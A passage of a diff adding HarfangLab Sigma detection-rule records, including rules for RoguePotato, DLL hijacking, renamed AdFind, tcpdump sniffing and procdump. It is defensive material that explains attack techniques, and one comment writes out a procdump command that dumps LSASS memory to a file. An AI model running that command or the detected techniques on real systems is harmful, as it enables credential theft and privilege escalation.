+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "63982e43-6786-48d8-a87f-b89846a973a9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.610350Z",
+  "creation_date": "2026-03-23T11:45:34.610354Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.610361Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/antonioCoco/RoguePotato/",
+    "https://attack.mitre.org/techniques/T1068/"
+  ],
+  "name": "t1068_rogue_potato_named_pipe.yml",
+  "content": "title: RoguePotato Named Pipe Created\nid: 63982e43-6786-48d8-a87f-b89846a973a9\ndescription: |\n    Detects the creation of a named pipe related to the RoguePotato privilege escalation tool.\n    RoguePotato is a privilege escalation tool that fakes an OXID resolver to force the BITS service to authenticate and steal its token.\n    It is recommended to investigate the process that created the named pipe and its potential child processes, as well as processes that connected to the named pipe.\nreferences:\n    - https://github.com/antonioCoco/RoguePotato/\n    - https://attack.mitre.org/techniques/T1068/\ndate: 2024/02/05\nmodified: 2025/01/28\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1068\n    - classification.Windows.Source.NamedPipe\n    - classification.Windows.HackTool.RoguePotato\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: named_pipe_creation\ndetection:\n    selection:\n        PipeName|endswith: '\\pipe\\epmapper'\n\n    filter_epmapper:\n        PipeName: '\\pipe\\epmapper'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "63982e43-6786-48d8-a87f-b89846a973a9",
+  "rule_name": "RoguePotato Named Pipe Created",
+  "rule_description": "Detects the creation of a named pipe related to the RoguePotato privilege escalation tool.\nRoguePotato is a privilege escalation tool that fakes an OXID resolver to force the BITS service to authenticate and steal its token.\nIt is recommended to investigate the process that created the named pipe and its potential child processes, as well as processes that connected to the named pipe.\n",
+  "rule_creation_date": "2024-02-05",
+  "rule_modified_date": "2025-01-28",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "63a7d949-9fde-46be-a6fd-f97306f8447c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.600721Z",
+  "creation_date": "2026-03-23T11:45:34.600725Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.600733Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://news.sophos.com/en-us/2022/11/03/family-tree-dll-sideloading-cases-may-be-related",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_smstore.yml",
+  "content": "title: DLL Hijacking via symstore.exe\nid: 63a7d949-9fde-46be-a6fd-f97306f8447c\ndescription: |\n    Detects potential Windows DLL Hijacking via symstore.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://news.sophos.com/en-us/2022/11/03/family-tree-dll-sideloading-cases-may-be-related\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/11/09\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'symstore.exe'\n        ProcessSignature: 'Microsoft Corporation'\n        ImageLoaded|endswith: '\\symsrv.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files\\Windows Kits\\\\*\\Debuggers\\'\n            - '?:\\Program Files (x86)\\Windows Kits\\\\*\\Debuggers\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Program Files\\Windows Kits\\\\*\\Debuggers\\'\n            - '?:\\Program Files (x86)\\Windows Kits\\\\*\\Debuggers\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Corporation'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "63a7d949-9fde-46be-a6fd-f97306f8447c",
+  "rule_name": "DLL Hijacking via symstore.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via symstore.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-11-09",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "63b8bd32-635b-4502-9608-767c742d73d3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.084233Z",
+  "creation_date": "2026-03-23T11:45:34.084236Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.084240Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "http://www.joeware.net/freetools/tools/adfind/",
+    "https://attack.mitre.org/software/S0552/",
+    "https://attack.mitre.org/techniques/T1087/002/",
+    "https://attack.mitre.org/techniques/T1482/",
+    "https://attack.mitre.org/techniques/T1069/002/",
+    "https://attack.mitre.org/techniques/T1018/",
+    "https://attack.mitre.org/techniques/T1016/"
+  ],
+  "name": "adfind_renamed_binary.yml",
+  "content": "title: Renamed AdFind Binary Executed\nid: 63b8bd32-635b-4502-9608-767c742d73d3\ndescription: |\n    Detects the execution of a renamed AdFind binary.\n    AdFind is a legitimate tool that has been used by numerous threat actors for conducting enumeration in an Active Directory network. Sometimes, this binary is renamed to avoid detection.\n    It is recommended to determine if this binary is expected to be used in your environment and check for other suspicious commands by the parent process.\nreferences:\n    - http://www.joeware.net/freetools/tools/adfind/\n    - https://attack.mitre.org/software/S0552/\n    - https://attack.mitre.org/techniques/T1087/002/\n    - https://attack.mitre.org/techniques/T1482/\n    - https://attack.mitre.org/techniques/T1069/002/\n    - https://attack.mitre.org/techniques/T1018/\n    - https://attack.mitre.org/techniques/T1016/\ndate: 2020/12/15\nmodified: 2025/03/31\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1087.002\n    - attack.t1482\n    - attack.t1069.002\n    - attack.t1018\n    - attack.t1016\n    - attack.s0552\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Tool.AdFind\n    - classification.Windows.Behavior.Discovery\n    - classification.Windows.Behavior.ActiveDirectory\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        OriginalFileName: 'AdFind.exe'\n\n    filter_name:\n        Image|endswith: '\\AdFind.exe'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "63b8bd32-635b-4502-9608-767c742d73d3",
+  "rule_name": "Renamed AdFind Binary Executed",
+  "rule_description": "Detects the execution of a renamed AdFind binary.\nAdFind is a legitimate tool that has been used by numerous threat actors for conducting enumeration in an Active Directory network. Sometimes, this binary is renamed to avoid detection.\nIt is recommended to determine if this binary is expected to be used in your environment and check for other suspicious commands by the parent process.\n",
+  "rule_creation_date": "2020-12-15",
+  "rule_modified_date": "2025-03-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1016",
+    "attack.t1018",
+    "attack.t1069.002",
+    "attack.t1087.002",
+    "attack.t1482"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "63e4dfcd-2a85-484f-8502-c6aa4f0b1e1f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.588350Z",
+  "creation_date": "2026-03-23T11:45:34.588354Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.588361Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-domain-wide-ransomware/",
+    "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Msxsl/",
+    "https://attack.mitre.org/techniques/T1071/"
+  ],
+  "name": "t1071_suspicious_network_connection_from_legitimate_process.yml",
+  "content": "title: Suspicious Network Activity from Legitimate Process\nid: 63e4dfcd-2a85-484f-8502-c6aa4f0b1e1f\ndescription: |\n    Detects suspicious network activity initiated by a process that should not be network-active.\n    Attackers can inject code or masquerade malware as legitimate processes that will perform network connections to their C2 server.\n    Processes mentioned in this rule are not known to legitimately perform network connections.\n    It is recommended to analyze the process performing the network connection for possible injection, as well as to analyze the parent and child processes for malicious content or actions.\nreferences:\n    - https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-domain-wide-ransomware/\n    - https://lolbas-project.github.io/lolbas/OtherMSBinaries/Msxsl/\n    - https://attack.mitre.org/techniques/T1071/\ndate: 2023/02/06\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1071\n    - classification.Windows.Source.NetworkActivity\n    - classification.Windows.Behavior.ProcessInjection\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: network_connection\n    product: windows\ndetection:\n    selection:\n        ProcessImage|endswith:\n            - '\\ApplicationFrameHost.exe'\n            - '\\audiodg.exe'\n            - '\\calc.exe'\n            - '\\csrss.exe'\n            - '\\dwm.exe'\n            - '\\fontdrvhost.exe'\n            - '\\MediaAggreService.exe'\n            - '\\SecurityHealthService.exe'\n            - '\\SecurityHealthSystray.exe'\n            - '\\SgrmBroker.exe'\n            - '\\sihost.exe'\n            - '\\smss.exe'\n            - '\\Taskmgr.exe'\n            - '\\regsvr32.exe'\n            - '\\msxsl.exe'\n\n    filter_linklocal_ipv6:\n        SourceIp: 'fe80::*'\n        DestinationIp: 'fe80::*'\n\n    filter_linklocal_ipv4:\n        # Ne need to check source IP when destination is a local address\n        DestinationIp|cidr:\n            - '127.0.0.0/8'     # RFC1122\n            - '192.168.0.0/16'  # RFC1918\n            - '172.16.0.0/12'   # RFC1918\n            - '10.0.0.0/8'      # RFC1918\n            - '169.254.0.0/16'  # RFC3927\n            - '100.64.0.0/10'   # RFC6598\n\n    exclusion_sihost:\n        ProcessImage: '?:\\Windows\\System32\\sihost.exe'\n        ProcessParentCommandLine: '?:\\windows\\system32\\svchost.exe -k netsvcs -p -s UserManager'\n\n    exclusion_task_manager1:\n        ProcessImage: '?:\\Windows\\System32\\Taskmgr.exe'\n        ProcessCommandLine:\n            # Right click on the Taskbar and click 'Start task Manager'\n            - '?:\\WINDOWS\\system32\\taskmgr.exe /4'\n            # Start Menu, click ‘Task Manager’\n            - '?:\\WINDOWS\\system32\\taskmgr.exe /7'\n        ProcessParentImage: '?:\\Windows\\explorer.exe'\n\n    exclusion_task_manager2:\n        ProcessCommandLine:\n            # Press CTRL+SHIFT+ESC\n            - '?:\\Windows\\System32\\Taskmgr.exe /2'\n            # Press CTRL+ALT+DEL, click 'Start Task Manager'\n            - '?:\\WINDOWS\\System32\\Taskmgr.exe /3'\n        ProcessParentImage:\n            - '?:\\Windows\\System32\\LaunchTM.exe'\n            - '?:\\Windows\\System32\\winlogon.exe'\n\n    exclusion_rshell:\n        ProcessCommandLine: 'regsvr32.exe -s -u RShellEx.dll'\n        ProcessParentCommandLine: '?:\\WINDOWS\\system32\\msiexec.exe /V'\n\n    exclusion_microsoft:\n        ProcessCommandLine: '?:\\Windows\\System32\\SecurityHealthService.exe'\n        ProcessParentCommandLine: '?:\\WINDOWS\\system32\\services.exe'\n        # graph.microsoft.com\n\n    exclusion_applicationframeHost:\n        ProcessImage: '?:\\Windows\\System32\\ApplicationFrameHost.exe'\n        ProcessParentCommandLine: '?:\\windows\\system32\\svchost.exe -k DcomLaunch -p'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "63e4dfcd-2a85-484f-8502-c6aa4f0b1e1f",
+  "rule_name": "Suspicious Network Activity from Legitimate Process",
+  "rule_description": "Detects suspicious network activity initiated by a process that should not be network-active.\nAttackers can inject code or masquerade malware as legitimate processes that will perform network connections to their C2 server.\nProcesses mentioned in this rule are not known to legitimately perform network connections.\nIt is recommended to analyze the process performing the network connection for possible injection, as well as to analyze the parent and child processes for malicious content or actions.\n",
+  "rule_creation_date": "2023-02-06",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "63f75270-bccf-4f9a-a525-1b0a4520eda4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.619576Z",
+  "creation_date": "2026-03-23T11:45:34.619578Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.619582Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1040/T1040.md#atomic-test-3---packet-capture-macos-using-tcpdump-or-tshark",
+    "https://attack.mitre.org/techniques/T1040/"
+  ],
+  "name": "t1040_network_sniffing_tcpdump_macos.yml",
+  "content": "title: Network Sniffed via tcpdump (macOS)\nid: 63f75270-bccf-4f9a-a525-1b0a4520eda4\ndescription: |\n    Detects the execution of tcpdump, a command-line utility used to capture and analyze network traffic.\n    It is often used to help troubleshoot network issues, but adversaries can use it to sniff network traffic and capture information about an environment, including authentication material passed over the network.\n    It is recommended to analyze the context around the execution of tcpdump to determine if it is result of a legitimate administrative actions.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1040/T1040.md#atomic-test-3---packet-capture-macos-using-tcpdump-or-tshark\n    - https://attack.mitre.org/techniques/T1040/\ndate: 2024/05/10\nmodified: 2025/04/11\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.discovery\n    - attack.t1040\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Tool.Tcpdump\n    - classification.macOS.Behavior.Discovery\n    - classification.macOS.Behavior.CredentialAccess\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        Image|endswith: '/tcpdump'\n\n    # Explicitly use an OR because parents can be empty\n    exclusion_wifivelocityd:\n        - ParentImage: '/usr/libexec/wifivelocityd'\n        - CommandLine|startswith: '/usr/sbin/tcpdump -q -n -i en0 -G 60 -W 1 -w /var/run/com.apple.wifivelocity/'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\n#level: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "63f75270-bccf-4f9a-a525-1b0a4520eda4",
+  "rule_name": "Network Sniffed via tcpdump (macOS)",
+  "rule_description": "Detects the execution of tcpdump, a command-line utility used to capture and analyze network traffic.\nIt is often used to help troubleshoot network issues, but adversaries can use it to sniff network traffic and capture information about an environment, including authentication material passed over the network.\nIt is recommended to analyze the context around the execution of tcpdump to determine if it is result of a legitimate administrative actions.\n",
+  "rule_creation_date": "2024-05-10",
+  "rule_modified_date": "2025-04-11",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1040"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "641d7001-4ba6-459b-80c2-175c48872aba",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.094976Z",
+  "creation_date": "2026-03-23T11:45:34.094978Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.094982Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/",
+    "https://attack.mitre.org/techniques/T1003/001/"
+  ],
+  "name": "t1003_001_procdump.yml",
+  "content": "title: Process Memory Dumped via procdump\nid: 641d7001-4ba6-459b-80c2-175c48872aba\ndescription: |\n    Detects a suspicious attempt to dump a process' memory.\n    This technique is often used to dump the LSASS.exe process memory.\n    It is recommended to investigate the process reponsible for the memory dump and check the sensitivity of the data handled by the dumped process.\n    For instance, LSASS.exe contains authentication secrets used by Windows during a session. The data handled by LSASS are highly sensitive, a dump of this process must be considered critical.\nreferences:\n    - https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/\n    - https://attack.mitre.org/techniques/T1003/001/\ndate: 2021/04/15\nmodified: 2025/04/10\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.001\n    - attack.t1078\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.ProcDump\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.SensitiveInformation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    # procdump64 -accepteula -ma lsass.exe C:\\windows\\temp\\lsass.dmp\n    selection_bin:\n        OriginalFileName: 'procdump'\n    selection_cmd:\n        CommandLine|contains: ' -ma '\n\n    exclusion_werfault_system32:\n        - ProcessParentCommandLine|contains|all:\n            - '?:\\Windows\\System32\\WerFault.exe'\n            - '-u '\n            - '-p '\n            - '-s '\n        - ProcessGrandparentCommandLine|contains|all:\n            - '?:\\Windows\\System32\\WerFault.exe'\n            - '-u '\n            - '-p '\n            - '-s '\n\n    exclusion_werfault_syswow64:\n        - ProcessParentCommandLine|contains|all:\n            - '?:\\Windows\\SysWOW64\\WerFault.exe'\n            - '-u '\n            - '-p '\n            - '-s '\n        - ProcessGrandparentCommandLine|contains|all:\n            - '?:\\Windows\\SysWOW64\\WerFault.exe'\n            - '-u '\n            - '-p '\n            - '-s '\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "641d7001-4ba6-459b-80c2-175c48872aba",
+  "rule_name": "Process Memory Dumped via procdump",
+  "rule_description": "Detects a suspicious attempt to dump a process' memory.\nThis technique is often used to dump the LSASS.exe process memory.\nIt is recommended to investigate the process reponsible for the memory dump and check the sensitivity of the data handled by the dumped process.\nFor instance, LSASS.exe contains authentication secrets used by Windows during a session. The data handled by LSASS are highly sensitive, a dump of this process must be considered critical.\n",
+  "rule_creation_date": "2021-04-15",
+  "rule_modified_date": "2025-04-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001",
+    "attack.t1078"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "643a4d88-8291-484a-9e2e-40b0e9baa9c5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.599203Z",
+  "creation_date": "2026-03-23T11:45:34.599209Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.599218Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_wkspbroker.yml",
+  "content": "title: DLL Hijacking via wkspbroker.exe\nid: 643a4d88-8291-484a-9e2e-40b0e9baa9c5\ndescription: |\n    Detects potential Windows DLL Hijacking via wkspbroker.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'wkspbroker.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\credui.dll'\n            - '\\DNSAPI.dll'\n            - '\\ktmw32.dll'\n            - '\\PROPSYS.dll'\n            - '\\RADCUI.dll'\n            - '\\SspiCli.dll'\n            - '\\tsworkspace.dll'\n            - '\\WINHTTP.dll'\n            - '\\WININET.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "643a4d88-8291-484a-9e2e-40b0e9baa9c5",
+  "rule_name": "DLL Hijacking via wkspbroker.exe",
